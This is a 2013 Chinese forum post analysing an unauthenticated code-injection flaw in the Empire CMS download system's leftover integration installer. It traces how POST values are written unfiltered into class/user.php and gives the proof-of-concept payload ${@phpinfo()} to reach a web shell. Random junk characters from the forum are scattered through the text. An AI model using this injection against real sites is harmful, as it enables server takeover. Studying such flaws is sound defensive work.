找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2433|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
) i: D2 x( i! m4 S) q$ Z9 ^! {" c. X. G& ?) e

! h5 g" Z2 X2 j! Y, f3 g
这是帝国的一套下载系统 如图- e$ N; |0 k9 j! N, o9 }( p
ps(不需要任何账户和密码,直接写shell)

7 H/ W, M0 N+ k

由于很多站是由于下载要整合discuz 等等一些论坛....* a' r3 ^5 F8 U8 x7 D8 L9 ?


2 K9 K& m6 }) h' B- a

而帝国他又有一个万能接口,如图


" m$ z; n/ u8 y8 B. r- a2 `4 m% V$ T0 R
* \0 R. o: F2 K: p; o: `' r+ M0 t9 b

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码# z- b$ ~- B6 r/ I! ?9 K
9 S  v+ U8 t6 `/ |5 F
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
) G, q: Q! j! O5 r
# s8 w" ~7 C7 |# V7 u! A% v- q在data/fun.php中的15行
3 q+ z8 i! E$ E! [$ a5 D' Z* \1 I. b3 |
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {# y% X. h9 i7 F1 \8 G
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干' }( l/ V, S/ G3 C, s9 E' I
- i( D. \3 h8 b  S7 A2 m6 }
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
( ]; p2 l- D+ k6 e5 ]7 H4 K7 d: ~: @: c6 Y2 [4 u/ j
他将传进来的变量进行了切割,然后赋给了$filetext
1 z8 [$ f2 |2 o/ {' j
2 Z3 i9 ?1 }3 \3 F$ a: g) |然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
3 c1 E( y2 X3 b3 @( r9 v7 j1 f/ T) v; ?. Z! k: ?. I& ]
我们看看写入的结果,随便填一个


5 ~( ?8 a% [( w0 }6 @1 d# o. t" V; d& w# Z8 K% l
. L' ]1 V& M5 J: v( P
8 p! m5 c7 Y# n! w4 S

+ f8 X# L4 }$ [+ K' \
; w" X% \7 i# w# v3 C4 ^# T" h

- x: z7 j- \# W* H/ \2 h
9 M" j  S) \) [& G5 ?0 _

0 P7 n* O% h# t/ G2 ]1 Y9 p
7 A5 z% @. M) z% H. p/ j+ F
+ z9 L0 Z5 c+ T4 p( ^
: _/ g3 p8 b& n  ^/ u) y

. L4 s( L  o2 G2 F+ j# O1 u# W+ F, Z4 V* J

2 r, T3 f3 o& \7 Y
$ Q4 C! l! O! Z1 @: K2 v4 r7 j! s+ h" I+ q! A3 `7 @, c9 u! x

! P% U; S) ^" Q
6 H, j/ a  x$ D6 V# C- g# U2 [' |  |2 k' Q+ j) m6 R

- q: Z8 z  ^0 Y. z% h( U+ u# R' d, z( V. X

所以我们淫荡点,写个${@phpinfo()}试试

+ V% ^8 l6 |3 L

然后访问以下class/user.php这个文件
( S3 r8 z% \1 o7 s% g日了吧


" \; g) p1 J9 H) `% y

8 \' c7 z' {& x
; \& R# G$ h! v* K$ H% e

2 u5 G+ ?% }4 R
6 [0 b4 [- N* s5 b# g' ~
& h! o! S3 s2 H* d. U7 ~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表